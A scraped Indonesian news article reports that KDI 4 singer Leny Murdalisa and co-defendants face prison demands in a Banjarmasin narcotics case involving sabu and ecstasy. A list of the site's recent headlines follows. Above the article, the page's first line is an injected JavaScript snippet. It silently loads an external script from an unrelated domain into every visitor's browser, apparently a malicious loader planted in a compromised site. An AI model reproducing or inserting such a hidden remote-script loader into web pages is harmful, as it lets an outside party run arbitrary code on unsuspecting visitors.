(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terjerat Sindikat Narkoba, Leny KDI 4 Dituntut 6 Tahun Penjara


BANJARMASIN, Finalis KDI 4 asal Kalimantan Selatan Leny Murdalisa yang terjerat kasus Narkoba kini telah masuk sidang perdana di Pengadilan Negeri (PN) Banjarmasin, Kamis (5/4). Leny Murdalisa dituntut 6 tahun penjara yang diajukan oleh Jaksa Penuntut Umum (JPU) Mashuri karena keterlibatannya dalam lingkaran setan Narkoba.

Mendengar tuntutan 6 tahun penjara tersebut, langsung ditanggapi Leny Murdalisa yang akrab disapa Leny KDI dengan membacakan nota pembelaan (pledoi). Pledio dibacakan melalui tim kuasa hukum Akbar, Yusuf Ilmi dan Umar dari LKBH Universitas Lambung Mangkurat (ULM) dihadapan majelis hakim yang diketuai Heri Susanto dan dua hakim anggota, Afandi Widarijanto dan Nanik Handayani.

Sebelumnya, JPU Mashuri menuntut hukuman 6 tahun penjara denda Rp 1 miliar subsider 6 bulan kurungan dan menyatakan Leny Murdalisa terbukti melanggar pasal 132 ayat (1) jo Pasal 114 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika. Dimana, Leny yang didakwa sebagai pengedar Narkoba.

Tak hanya Leny, komplotannya pun juga dibawa ke meja hijau dengan masing-masing peran yang berbeda. Terdakwa Rahmi, misalkan dituntut lebih lama 7 tahun penjara denda Rp 1,5 miliar subsider 6 bulan kurungan. Begitu pula, Hendri Wahyu, Bayu Indrawan dan Shelli Yani Iskandar dituntut hukuman maksimal di atas 5 tahun penjara.

Dari fakta persidangan kasus Narkoba yang menjerat Leny KDI cs, berawal dari penangkapan yang dilakukan petugas Polsek Banjarmasin Timur terhadap terdakwa Rahmi di halaman ATM HBI, Jalan Achmad yani Km 4,5, Banjarmasin pada Kamis (19/10) lalu, ketika hendak melakukan transaksi Narkoba.

Dari sepeda motor yang dikendarai Rahmi ini, ditemukan dua paket sabu dan pil ekstasi, selanjutnya kasus tersebut dikembangkan hingga menyasar Hendri Wahyu. Terdakwa ini juga ditangkap di rumahnya, Jalan A Yani Km 9,2 Komplek Bumi Daya Turangga II, Kelurahan Kertak Hanyar, Kabupaten Banjar.

Dari rumah pelaku, polisi mendapat 6 plastik klip berisi sabu-sabu dalam bungkus obat salep batuk, dengan berat 23,55 gram. Rupanya, peredaran ‘kristal laknat’ masih dalam satu jaringan, hingga menyeret Leny Marudalisa dan komplotannya, dengan barang bukti seluruhnya mencapai 27,3 gram sabu plus 6 butir pil ekstasi. (ammar)

Reporter : Ammar
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kader PDIP Kalsel Roseham NB Tolak Wacana Pilkada Melalui DPRD

KANALKALIMANTAN.COM, BANJARMASIN — Kader PDI Perjuangan Kalimantan Selatan (Kalsel), H Muhammad Rosehan NB menolak wacana… Read More

4 menit ago

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

16 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

23 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

2 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

2 hari ago

This website uses cookies.